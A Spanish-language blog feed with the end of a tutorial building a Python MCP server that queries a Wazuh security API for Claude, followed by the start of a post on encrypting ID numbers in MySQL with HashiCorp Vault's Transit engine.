            <span class="hljs-string">"type"</span>: <span class="hljs-string">"object"</span>,
            <span class="hljs-string">"properties"</span>: {},
            <span class="hljs-string">"additionalProperties"</span>: <span class="hljs-literal">False</span>
        }

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">execute</span>(<span class="hljs-params">self, arguments: Dict[str, Any]</span>) -&gt; str:</span>
        result = <span class="hljs-keyword">await</span> self.wazuh_client.make_request(<span class="hljs-string">"/manager/info"</span>)
        info = result.get(<span class="hljs-string">'data'</span>, {}).get(<span class="hljs-string">'affected_items'</span>, [{}])[<span class="hljs-number">0</span>]

        response = <span class="hljs-string">"ℹ️ **Información del Manager Wazuh**\n\n"</span>
        response += <span class="hljs-string">f"**Versión:** <span class="hljs-subst">{info.get(<span class="hljs-string">'version'</span>, <span class="hljs-string">'N/A'</span>)}</span>\n"</span>
        response += <span class="hljs-string">f"**Instalación:** <span class="hljs-subst">{info.get(<span class="hljs-string">'installation_date'</span>, <span class="hljs-string">'N/A'</span>)}</span>\n"</span>
        response += <span class="hljs-string">f"**Tipo:** <span class="hljs-subst">{info.get(<span class="hljs-string">'type'</span>, <span class="hljs-string">'N/A'</span>)}</span>\n"</span>

        <span class="hljs-comment"># Intentar obtener estado también</span>
        <span class="hljs-keyword">try</span>:
            status_result = <span class="hljs-keyword">await</span> self.wazuh_client.make_request(<span class="hljs-string">"/manager/status"</span>)
            status = status_result.get(<span class="hljs-string">'data'</span>, {}).get(<span class="hljs-string">'affected_items'</span>, [{}])[<span class="hljs-number">0</span>]
            response += <span class="hljs-string">f"\n**Estado:**\n"</span>
            <span class="hljs-keyword">for</span> key, value <span class="hljs-keyword">in</span> status.items():
                response += <span class="hljs-string">f"• <span class="hljs-subst">{key}</span>: <span class="hljs-subst">{value}</span>\n"</span>
        <span class="hljs-keyword">except</span> Exception:
            <span class="hljs-keyword">pass</span>

        <span class="hljs-keyword">return</span> response


<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AgentDetailsTool</span>(<span class="hljs-params">BaseTool</span>):</span>
    <span class="hljs-string">"""Obtener información detallada de un agente específico"""</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">name</span>(<span class="hljs-params">self</span>) -&gt; str:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">"agent_details"</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">description</span>(<span class="hljs-params">self</span>) -&gt; str:</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">"Obtener información detallada de un agente específico"</span>

<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">input_schema</span>(<span class="hljs-params">self</span>) -&gt; Dict[str, Any]:</span>
        <span class="hljs-keyword">return</span> {
            <span class="hljs-string">"type"</span>: <span class="hljs-string">"object"</span>,
            <span class="hljs-string">"properties"</span>: {
                <span class="hljs-string">"agent_id"</span>: {
                    <span class="hljs-string">"type"</span>: <span class="hljs-string">"string"</span>,
                    <span class="hljs-string">"description"</span>: <span class="hljs-string">"ID del agente"</span>
                }
            },
            <span class="hljs-string">"required"</span>: [<span class="hljs-string">"agent_id"</span>],
            <span class="hljs-string">"additionalProperties"</span>: <span class="hljs-literal">False</span>
        }

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">execute</span>(<span class="hljs-params">self, arguments: Dict[str, Any]</span>) -&gt; str:</span>
        agent_id = arguments.get(<span class="hljs-string">'agent_id'</span>)
        result = <span class="hljs-keyword">await</span> self.wazuh_client.make_request(<span class="hljs-string">f"/agents/<span class="hljs-subst">{agent_id}</span>"</span>)

        <span class="hljs-keyword">if</span> result.get(<span class="hljs-string">'data'</span>, {}).get(<span class="hljs-string">'affected_items'</span>):
            agent = result[<span class="hljs-string">'data'</span>][<span class="hljs-string">'affected_items'</span>][<span class="hljs-number">0</span>]
            status_emoji = <span class="hljs-string">"🟢"</span> <span class="hljs-keyword">if</span> agent.get(<span class="hljs-string">'status'</span>) == <span class="hljs-string">'active'</span> <span class="hljs-keyword">else</span> <span class="hljs-string">"🔴"</span>

            response = <span class="hljs-string">f"<span class="hljs-subst">{status_emoji}</span> **Detalles del Agente <span class="hljs-subst">{agent_id}</span>**\n\n"</span>
            response += <span class="hljs-string">f"**Nombre:** <span class="hljs-subst">{agent.get(<span class="hljs-string">'name'</span>)}</span>\n"</span>
            response += <span class="hljs-string">f"**Estado:** <span class="hljs-subst">{agent.get(<span class="hljs-string">'status'</span>)}</span>\n"</span>
            response += <span class="hljs-string">f"**IP:** <span class="hljs-subst">{agent.get(<span class="hljs-string">'ip'</span>)}</span>\n"</span>
            response += <span class="hljs-string">f"**OS:** <span class="hljs-subst">{agent.get(<span class="hljs-string">'os'</span>, {}</span>).get('name', 'N/A')} <span class="hljs-subst">{agent.get(<span class="hljs-string">'os'</span>, {}</span>).get('version', '')}\n"</span>
            response += <span class="hljs-string">f"**Versión:** <span class="hljs-subst">{agent.get(<span class="hljs-string">'version'</span>)}</span>\n"</span>
            response += <span class="hljs-string">f"**Registro:** <span class="hljs-subst">{agent.get(<span class="hljs-string">'dateAdd'</span>)}</span>\n"</span>
            response += <span class="hljs-string">f"**Última conexión:** <span class="hljs-subst">{agent.get(<span class="hljs-string">'lastKeepAlive'</span>)}</span>\n"</span>
        <span class="hljs-keyword">else</span>:
            response = <span class="hljs-string">f"❌ Agente <span class="hljs-subst">{agent_id}</span> no encontrado"</span>

        <span class="hljs-keyword">return</span> response


<span class="hljs-comment"># ============================================================================</span>
<span class="hljs-comment"># REGISTRO DE HERRAMIENTAS</span>
<span class="hljs-comment"># ============================================================================</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ToolRegistry</span>:</span>
    <span class="hljs-string">"""Registro para gestionar herramientas"""</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self</span>):</span>
        self._tools: Dict[str, BaseTool] = {}
        self.logger = logging.getLogger(<span class="hljs-string">"tool-registry"</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">register</span>(<span class="hljs-params">self, tool: BaseTool</span>):</span>
        <span class="hljs-string">"""Registrar una herramienta"""</span>
        self._tools[tool.name] = tool
        self.logger.info(<span class="hljs-string">f"Herramienta registrada: <span class="hljs-subst">{tool.name}</span>"</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_tool</span>(<span class="hljs-params">self, name: str</span>) -&gt; BaseTool:</span>
        <span class="hljs-string">"""Obtener herramienta por nombre"""</span>
        <span class="hljs-keyword">if</span> name <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> self._tools:
            <span class="hljs-keyword">raise</span> ToolExecutionError(<span class="hljs-string">f"Herramienta desconocida: <span class="hljs-subst">{name}</span>"</span>)
        <span class="hljs-keyword">return</span> self._tools[name]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">list_tools</span>(<span class="hljs-params">self</span>) -&gt; List[Dict[str, Any]]:</span>
        <span class="hljs-string">"""Listar todas las herramientas registradas"""</span>
        <span class="hljs-keyword">return</span> [tool.to_dict() <span class="hljs-keyword">for</span> tool <span class="hljs-keyword">in</span> self._tools.values()]

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">execute_tool</span>(<span class="hljs-params">self, name: str, arguments: Dict[str, Any]</span>) -&gt; str:</span>
        <span class="hljs-string">"""Ejecutar herramienta por nombre"""</span>
        tool = self.get_tool(name)
        <span class="hljs-keyword">try</span>:
            self.logger.info(<span class="hljs-string">f"Ejecutando herramienta: <span class="hljs-subst">{name}</span>"</span>)
            result = <span class="hljs-keyword">await</span> tool.execute(arguments)
            self.logger.info(<span class="hljs-string">f"Herramienta <span class="hljs-subst">{name}</span> completada exitosamente"</span>)
            <span class="hljs-keyword">return</span> result
        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            self.logger.error(<span class="hljs-string">f"Herramienta <span class="hljs-subst">{name}</span> falló: <span class="hljs-subst">{e}</span>"</span>)
            <span class="hljs-keyword">raise</span> ToolExecutionError(<span class="hljs-string">f"Herramienta <span class="hljs-subst">{name}</span> falló: <span class="hljs-subst">{e}</span>"</span>)


<span class="hljs-comment"># ============================================================================</span>
<span class="hljs-comment"># SERVIDOR MCP</span>
<span class="hljs-comment"># ============================================================================</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">WazuhMCPServer</span>:</span>
    <span class="hljs-string">"""Servidor MCP para Wazuh"""</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, wazuh_client: WazuhClient</span>):</span>
        self.wazuh_client = wazuh_client
        self.message_count = <span class="hljs-number">0</span>
        self.tool_registry = ToolRegistry()
        self.logger = logging.getLogger(<span class="hljs-string">"mcp-server"</span>)

        <span class="hljs-comment"># Registrar herramientas</span>
        self._register_tools()

        self.logger.info(<span class="hljs-string">"Servidor MCP inicializado"</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_register_tools</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-string">"""Registrar todas las herramientas disponibles"""</span>
        tools = [
            AgentsSummaryTool(self.wazuh_client),
            ActiveAgentsTool(self.wazuh_client),
            SearchAgentTool(self.wazuh_client),
            ManagerInfoTool(self.wazuh_client),
            AgentDetailsTool(self.wazuh_client)
        ]

        <span class="hljs-keyword">for</span> tool <span class="hljs-keyword">in</span> tools:
            self.tool_registry.register(tool)

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">handle_message</span>(<span class="hljs-params">self, message: Dict</span>) -&gt; Optional[Dict]:</span>
        <span class="hljs-string">"""
        Manejar mensajes MCP entrantes

        Args:
            message: Mensaje MCP

        Returns:
            Respuesta MCP o None
        """</span>
        self.message_count += <span class="hljs-number">1</span>
        method = message.get(<span class="hljs-string">"method"</span>)
        params = message.get(<span class="hljs-string">"params"</span>, {})
        msg_id = message.get(<span class="hljs-string">"id"</span>)

        self.logger.info(<span class="hljs-string">f"[<span class="hljs-subst">{self.message_count}</span>] Procesando: <span class="hljs-subst">{method}</span>"</span>)

        <span class="hljs-keyword">try</span>:
            <span class="hljs-keyword">if</span> method == <span class="hljs-string">"initialize"</span>:
                self.logger.info(<span class="hljs-string">"Inicializando servidor..."</span>)
                <span class="hljs-keyword">return</span> {
                    <span class="hljs-string">"jsonrpc"</span>: <span class="hljs-string">"2.0"</span>,
                    <span class="hljs-string">"id"</span>: msg_id,
                    <span class="hljs-string">"result"</span>: {
                        <span class="hljs-string">"protocolVersion"</span>: <span class="hljs-string">"2024-11-05"</span>,
                        <span class="hljs-string">"capabilities"</span>: {<span class="hljs-string">"tools"</span>: {}},
                        <span class="hljs-string">"serverInfo"</span>: {
                            <span class="hljs-string">"name"</span>: <span class="hljs-string">"wazuh-mcp"</span>,
                            <span class="hljs-string">"version"</span>: <span class="hljs-string">"2.0.0"</span>
                        }
                    }
                }

            <span class="hljs-keyword">elif</span> method == <span class="hljs-string">"notifications/initialized"</span>:
                self.logger.info(<span class="hljs-string">"Servidor inicializado"</span>)
                <span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>

            <span class="hljs-keyword">elif</span> method == <span class="hljs-string">"tools/list"</span>:
                self.logger.info(<span class="hljs-string">"Listando herramientas..."</span>)
                <span class="hljs-keyword">return</span> {
                    <span class="hljs-string">"jsonrpc"</span>: <span class="hljs-string">"2.0"</span>,
                    <span class="hljs-string">"id"</span>: msg_id,
                    <span class="hljs-string">"result"</span>: {
                        <span class="hljs-string">"tools"</span>: self.tool_registry.list_tools()
                    }
                }

            <span class="hljs-keyword">elif</span> method == <span class="hljs-string">"tools/call"</span>:
                <span class="hljs-keyword">return</span> <span class="hljs-keyword">await</span> self.handle_tool_call(params, msg_id)

            <span class="hljs-keyword">else</span>:
                self.logger.warning(<span class="hljs-string">f"Método desconocido: <span class="hljs-subst">{method}</span>"</span>)
                <span class="hljs-keyword">if</span> msg_id:
                    <span class="hljs-keyword">return</span> {
                        <span class="hljs-string">"jsonrpc"</span>: <span class="hljs-string">"2.0"</span>,
                        <span class="hljs-string">"id"</span>: msg_id,
                        <span class="hljs-string">"error"</span>: {
                            <span class="hljs-string">"code"</span>: <span class="hljs-number">-32601</span>,
                            <span class="hljs-string">"message"</span>: <span class="hljs-string">f"Método no encontrado: <span class="hljs-subst">{method}</span>"</span>
                        }
                    }
                <span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>

        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            self.logger.error(<span class="hljs-string">f"Error en <span class="hljs-subst">{method}</span>: <span class="hljs-subst">{e}</span>"</span>)
            <span class="hljs-keyword">if</span> msg_id:
                <span class="hljs-keyword">return</span> {
                    <span class="hljs-string">"jsonrpc"</span>: <span class="hljs-string">"2.0"</span>,
                    <span class="hljs-string">"id"</span>: msg_id,
                    <span class="hljs-string">"error"</span>: {
                        <span class="hljs-string">"code"</span>: <span class="hljs-number">-32603</span>,
                        <span class="hljs-string">"message"</span>: str(e)
                    }
                }
            <span class="hljs-keyword">return</span> <span class="hljs-literal">None</span>

    <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">handle_tool_call</span>(<span class="hljs-params">self, params: Dict, msg_id: str</span>) -&gt; Dict:</span>
        <span class="hljs-string">"""
        Manejar llamadas a herramientas

        Args:
            params: Parámetros de la llamada
            msg_id: ID del mensaje

        Returns:
            Respuesta MCP
        """</span>
        tool_name = params.get(<span class="hljs-string">"name"</span>)
        arguments = params.get(<span class="hljs-string">"arguments"</span>, {})

        self.logger.info(<span class="hljs-string">f"Herramienta: <span class="hljs-subst">{tool_name}</span>"</span>)

        <span class="hljs-keyword">try</span>:
            response = <span class="hljs-keyword">await</span> self.tool_registry.execute_tool(tool_name, arguments)

            <span class="hljs-keyword">return</span> {
                <span class="hljs-string">"jsonrpc"</span>: <span class="hljs-string">"2.0"</span>,
                <span class="hljs-string">"id"</span>: msg_id,
                <span class="hljs-string">"result"</span>: {
                    <span class="hljs-string">"content"</span>: [
                        {
                            <span class="hljs-string">"type"</span>: <span class="hljs-string">"text"</span>,
                            <span class="hljs-string">"text"</span>: response
                        }
                    ]
                }
            }

        <span class="hljs-keyword">except</span> ToolExecutionError <span class="hljs-keyword">as</span> e:
            <span class="hljs-keyword">return</span> {
                <span class="hljs-string">"jsonrpc"</span>: <span class="hljs-string">"2.0"</span>,
                <span class="hljs-string">"id"</span>: msg_id,
                <span class="hljs-string">"error"</span>: {
                    <span class="hljs-string">"code"</span>: <span class="hljs-number">-32601</span>,
                    <span class="hljs-string">"message"</span>: str(e)
                }
            }
        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            self.logger.error(<span class="hljs-string">f"Error en herramienta: <span class="hljs-subst">{e}</span>"</span>)
            <span class="hljs-keyword">return</span> {
                <span class="hljs-string">"jsonrpc"</span>: <span class="hljs-string">"2.0"</span>,
                <span class="hljs-string">"id"</span>: msg_id,
                <span class="hljs-string">"error"</span>: {
                    <span class="hljs-string">"code"</span>: <span class="hljs-number">-32603</span>,
                    <span class="hljs-string">"message"</span>: str(e)
                }
            }


<span class="hljs-comment"># ============================================================================</span>
<span class="hljs-comment"># FUNCIÓN PRINCIPAL</span>
<span class="hljs-comment"># ============================================================================</span>

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    <span class="hljs-string">"""Función principal del servidor"""</span>
    parser = argparse.ArgumentParser(description=<span class="hljs-string">"Wazuh MCP Server v2.0 - Organizado"</span>)
    parser.add_argument(<span class="hljs-string">"--wazuh-url"</span>, required=<span class="hljs-literal">True</span>, help=<span class="hljs-string">"URL de la API de Wazuh"</span>)
    parser.add_argument(<span class="hljs-string">"--username"</span>, required=<span class="hljs-literal">True</span>, help=<span class="hljs-string">"Usuario de Wazuh"</span>)
    parser.add_argument(<span class="hljs-string">"--password"</span>, required=<span class="hljs-literal">True</span>, help=<span class="hljs-string">"Contraseña de Wazuh"</span>)
    parser.add_argument(<span class="hljs-string">"--debug"</span>, action=<span class="hljs-string">"store_true"</span>, help=<span class="hljs-string">"Habilitar logging debug"</span>)

    args = parser.parse_args()

    <span class="hljs-comment"># Configurar logging</span>
    logger = setup_logging(args.debug)

    logger.info(<span class="hljs-string">"="</span> * <span class="hljs-number">60</span>)
    logger.info(<span class="hljs-string">" WAZUH MCP SERVER v2.0 - ORGANIZADO"</span>)
    logger.info(<span class="hljs-string">"="</span> * <span class="hljs-number">60</span>)
    logger.info(<span class="hljs-string">f" URL: <span class="hljs-subst">{args.wazuh_url}</span>"</span>)
    logger.info(<span class="hljs-string">f" Usuario: <span class="hljs-subst">{args.username}</span>"</span>)
    logger.info(<span class="hljs-string">"="</span> * <span class="hljs-number">60</span>)

    <span class="hljs-comment"># Inicializar cliente Wazuh</span>
    wazuh_client = WazuhClient(args.wazuh_url, args.username, args.password)

    <span class="hljs-comment"># Probar autenticación</span>
    logger.info(<span class="hljs-string">"Probando autenticación..."</span>)
    <span class="hljs-keyword">try</span>:
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">await</span> wazuh_client.authenticate():
            logger.error(<span class="hljs-string">"¡Autenticación fallida!"</span>)
            <span class="hljs-keyword">await</span> wazuh_client.close()
            <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        logger.error(<span class="hljs-string">f"Error de autenticación: <span class="hljs-subst">{e}</span>"</span>)
        <span class="hljs-keyword">await</span> wazuh_client.close()
        <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>

    <span class="hljs-comment"># Inicializar servidor MCP</span>
    mcp_server = WazuhMCPServer(wazuh_client)

    logger.info(<span class="hljs-string">"¡Servidor listo! Esperando mensajes..."</span>)
    logger.info(<span class="hljs-string">"="</span> * <span class="hljs-number">60</span>)

    <span class="hljs-comment"># Manejadores de señales</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">signal_handler</span>(<span class="hljs-params">signum, frame</span>):</span>
        logger.info(<span class="hljs-string">f"Señal <span class="hljs-subst">{signum}</span> recibida, cerrando..."</span>)
        sys.exit(<span class="hljs-number">0</span>)

    signal.signal(signal.SIGTERM, signal_handler)
    signal.signal(signal.SIGINT, signal_handler)

    <span class="hljs-comment"># Bucle principal de mensajes</span>
    <span class="hljs-keyword">try</span>:
        reader = asyncio.StreamReader()
        protocol = asyncio.StreamReaderProtocol(reader)
        <span class="hljs-keyword">await</span> asyncio.get_event_loop().connect_read_pipe(<span class="hljs-keyword">lambda</span>: protocol, sys.stdin)

        <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
            <span class="hljs-keyword">try</span>:
                line_bytes = <span class="hljs-keyword">await</span> reader.readline()
                <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> line_bytes:
                    logger.info(<span class="hljs-string">"EOF - Cerrando..."</span>)
                    <span class="hljs-keyword">break</span>

                line = line_bytes.decode(<span class="hljs-string">'utf-8'</span>).strip()
                <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> line:
                    <span class="hljs-keyword">continue</span>

                <span class="hljs-keyword">try</span>:
                    message = json.loads(line)
                <span class="hljs-keyword">except</span> json.JSONDecodeError <span class="hljs-keyword">as</span> e:
                    logger.error(<span class="hljs-string">f"JSON inválido: <span class="hljs-subst">{e}</span>"</span>)
                    <span class="hljs-keyword">continue</span>

                <span class="hljs-comment"># Manejar mensaje</span>
                response = <span class="hljs-keyword">await</span> mcp_server.handle_message(message)

                <span class="hljs-comment"># Enviar respuesta si existe</span>
                <span class="hljs-keyword">if</span> response <span class="hljs-keyword">is</span> <span class="hljs-keyword">not</span> <span class="hljs-literal">None</span>:
                    print(json.dumps(response), flush=<span class="hljs-literal">True</span>)

            <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
                logger.error(<span class="hljs-string">f"Error en mensaje: <span class="hljs-subst">{e}</span>"</span>)

    <span class="hljs-keyword">except</span> KeyboardInterrupt:
        logger.info(<span class="hljs-string">"Interrumpido por usuario"</span>)
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        logger.error(<span class="hljs-string">f"Error del servidor: <span class="hljs-subst">{e}</span>"</span>)
    <span class="hljs-keyword">finally</span>:
        logger.info(<span class="hljs-string">"Cerrando conexiones..."</span>)
        <span class="hljs-keyword">await</span> wazuh_client.close()
        logger.info(<span class="hljs-string">"Servidor detenido"</span>)


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    sys.exit(asyncio.run(main()) <span class="hljs-keyword">or</span> <span class="hljs-number">0</span>)
</code></pre>
<p>Les dejo las dependencias, para instalar.</p>
<pre><code class="lang-python">anyio==<span class="hljs-number">4.10</span><span class="hljs-number">.0</span>
certifi==<span class="hljs-number">2025.8</span><span class="hljs-number">.3</span>
h11==<span class="hljs-number">0.16</span><span class="hljs-number">.0</span>
httpcore==<span class="hljs-number">1.0</span><span class="hljs-number">.9</span>
httpx==<span class="hljs-number">0.28</span><span class="hljs-number">.1</span>
idna==<span class="hljs-number">3.10</span>
sniffio==<span class="hljs-number">1.3</span><span class="hljs-number">.1</span>
typing_extensions==<span class="hljs-number">4.15</span><span class="hljs-number">.0</span>
</code></pre>
<h3 id="heading-configuracion-cliente">⚙️ Configuración Cliente</h3>
<p>La configuración en <a target="_blank" href="https://claude.ai/">Claude.io</a> es sencilla. Una vez que tenemos el cliente instalado, vamos a Configuración → Desarrollador y ahí editamos la configuración. En mi caso, es esta:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"mcpServers"</span>: {
    <span class="hljs-attr">"wazuh"</span>: {
      <span class="hljs-attr">"command"</span>: <span class="hljs-string">"/Users/santiago/Proyects/Wazuh-POC/venv/bin/python3"</span>,
      <span class="hljs-attr">"args"</span>: [
        <span class="hljs-string">"-u"</span>,
        <span class="hljs-string">"/Users/santiago/Proyects/Wazuh-POC/wazuh_poc.py"</span>,
        <span class="hljs-string">"--wazuh-url"</span>, <span class="hljs-string">"https://IP_TUSERVER:55000"</span>,
        <span class="hljs-string">"--username"</span>, <span class="hljs-string">"wazuh"</span>,
        <span class="hljs-string">"--password"</span>, <span class="hljs-string">"CONTRASENA_API"</span>
      ],
      <span class="hljs-attr">"env"</span>: {
        <span class="hljs-attr">"PYTHONUNBUFFERED"</span>: <span class="hljs-string">"1"</span>
      }
    }
  }
}
</code></pre>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><em>En mi caso cree un entorno virtual, para la instalación de dependencias. Por eso ese path.</em></div>
</div>

<p>Reiniciamos el cliente de Claude y verificamos si se logró la conexión al servidor MCP y ¡Voilá!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758497460954/53fd8068-2032-44e1-a0ca-4983bf579ef0.png" alt class="image--center mx-auto" /></p>
<p>Primero vamos a revisar nuestro servidor Wazuh, que tiene los dos clientes. Cabe destacar que el mismo servidor de Wazuh se autoreporta.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758498107946/148f92ed-d5e1-43e2-b0a0-580c9c6b7df5.png" alt class="image--center mx-auto" /></p>
<p>Ahora haremos búsquedas basadas en nuestras herramientas en el <strong>Servidor MCP</strong>. Le voy a consultar: ¿Cuántos agentes tengo conectados? y luego: ¿Me das información sobre el AD01?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758498276208/91a3a540-dc1d-4ca0-a6c7-aa69ec7ed40a.png" alt class="image--center mx-auto" /></p>
<p>El poder es ilimitado, solo queda probar y empezar a jugar con nuestro servidor MCP. Si quieres agregar más métodos, basta con revisar la documentación de la API de Wazuh. Espero que disfruten el proceso, como lo hice yo.</p>
<h2 id="heading-referencias">💼 Referencias</h2>
<p><a target="_blank" href="https://github.com/gbrigandi/mcp-server-wazuh">https://github.com/gbrigandi/mcp-server-wazuh</a></p>
<p><a target="_blank" href="https://github.com/gensecaihq/Wazuh-MCP-Server">https://github.com/gensecaihq/Wazuh-MCP-Server</a></p>
<p><a target="_blank" href="https://www.youtube.com/watch?v=b7aqfI8eLOI&amp;t=657s">https://www.youtube.com/watch?v=b7aqfI8eLOI&amp;t=657s</a></p>
]]></content:encoded></item><item><title><![CDATA[Cifrado de Datos Sensibles con Hashicorp Vault]]></title><description><![CDATA[Una pregunta que siempre aparece cuando trabajamos con bases de datos es: ¿Qué pasa si alguien accede directamente a la base y extrae la información? Si no hay ningún tipo de protección, cualquier dato sensible —como DNIs, CUITs o tarjetas— puede que...]]></description><link>https://blog.santiagoagustinfernandez.com/cifrado-de-datos-sensibles-con-hashicorp-vault</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/cifrado-de-datos-sensibles-con-hashicorp-vault</guid><category><![CDATA[Vault]]></category><category><![CDATA[hashicorp-vault]]></category><category><![CDATA[hashicorp]]></category><category><![CDATA[MySQL]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Mon, 16 Jun 2025 20:27:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1750105586963/1f34a0ab-f267-483a-a9b5-f24141822cd9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Una pregunta que siempre aparece cuando trabajamos con bases de datos es: <em>¿Qué pasa si alguien accede directamente a la base y extrae la información?</em> Si no hay ningún tipo de protección, cualquier dato sensible —como DNIs, CUITs o tarjetas— puede quedar completamente expuesto. Para responder a ese riesgo, armé un proceso paso a paso para proteger esta información utilizando <strong>HashiCorp Vault</strong> como sistema de cifrado y control de acceso. La solución se integra con una base de datos <strong>MySQL</strong> y una aplicación desarrollada en <strong>Python</strong>, aunque el lenguaje es indistinto: lo importante es que todo se hace de forma segura, programática y auditable. Vamos a probar con una app Python para simplificar, pero este enfoque puede aplicarse a cualquier tecnología que pueda integrarse con Vault.</p>
<h3 id="heading-que-queriamos-lograr">🎯 ¿Qué queríamos lograr?</h3>
<ul>
<li><p>Cifrar y descifrar DNIs mediante Vault desde una app Python, podria ser el dato que desees.</p>
</li>
<li><p>Guardar los valores <strong>cifrados</strong> en una base MySQL.</p>
</li>
<li><p>Auditar todos los accesos a Vault (lectura/escritura).</p>
</li>
<li><p>Hacer todo esto de forma <strong>segura y programática</strong>, sin intervención manual, usando <strong>AppRole</strong>.</p>
</li>
</ul>
<h2 id="heading-tabla-de-mysql">Tabla de MySQL</h2>
<p>Cree una base de datos llamada <strong>appdb</strong>, donde generaremos esta tabla.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750102400458/0c8c9726-aad7-49c9-937a-b8c3ea6a0356.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">TABLE</span> usuarios (
  <span class="hljs-keyword">id</span> <span class="hljs-built_in">INT</span> AUTO_INCREMENT PRIMARY <span class="hljs-keyword">KEY</span>,
  nombre <span class="hljs-built_in">VARCHAR</span>(<span class="hljs-number">100</span>),
  apellido <span class="hljs-built_in">VARCHAR</span>(<span class="hljs-number">100</span>),
  dni_cifrado <span class="hljs-built_in">TEXT</span>,
  fecha_creacion <span class="hljs-built_in">TIMESTAMP</span> <span class="hljs-keyword">DEFAULT</span> <span class="hljs-keyword">CURRENT_TIMESTAMP</span>
);
</code></pre>
<p>Ya tenemos nuestra base de datos y Vault.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750102734989/fb5bcb9a-f299-4961-afa1-24f8ae6c371f.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-vault">Vault</h2>
<p>Perfecto, si ya tenés Vault funcionando, vamos a hacer un paso a paso bien claro para:</p>
<ol>
<li><p>Habilitar el <strong>motor Transit</strong>.</p>
</li>
<li><p>Crear la <strong>llave</strong>, la llamaremos dni-key.</p>
</li>
<li><p>Crear una <strong>política en Vault</strong> que permita encriptar y desencriptar.</p>
</li>
<li><p>Crear un <strong>Role de AppRole</strong> que use esa política.</p>
</li>
<li><p>Obtener el <strong>Role ID</strong> y el <strong>Secret ID</strong> para que tu app Python lo use.</p>
</li>
</ol>
<h4 id="heading-habilitar-el-motor-transit">Habilitar el motor Transit</h4>
<pre><code class="lang-bash">vault secrets <span class="hljs-built_in">enable</span> transit
</code></pre>
<h4 id="heading-crear-una-clave-para-cifrado">🔑 Crear una clave para cifrado</h4>
<pre><code class="lang-bash">vault write -f transit/keys/dni-key
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750103555830/8a4ccb52-c5f2-4c44-af44-8bb21ecad580.png" alt class="image--center mx-auto" /></p>
<p>Creamos la <strong>política en Vault</strong> <code>transit-app.hcl</code></p>
<pre><code class="lang-bash">path <span class="hljs-string">"transit/keys/dni-key"</span> {
  capabilities = [<span class="hljs-string">"create"</span>, <span class="hljs-string">"read"</span>, <span class="hljs-string">"update"</span>]
}

path <span class="hljs-string">"transit/encrypt/dni-key"</span> {
  capabilities = [<span class="hljs-string">"update"</span>]
}

path <span class="hljs-string">"transit/decrypt/dni-key"</span> {
  capabilities = [<span class="hljs-string">"update"</span>]
}
</code></pre>
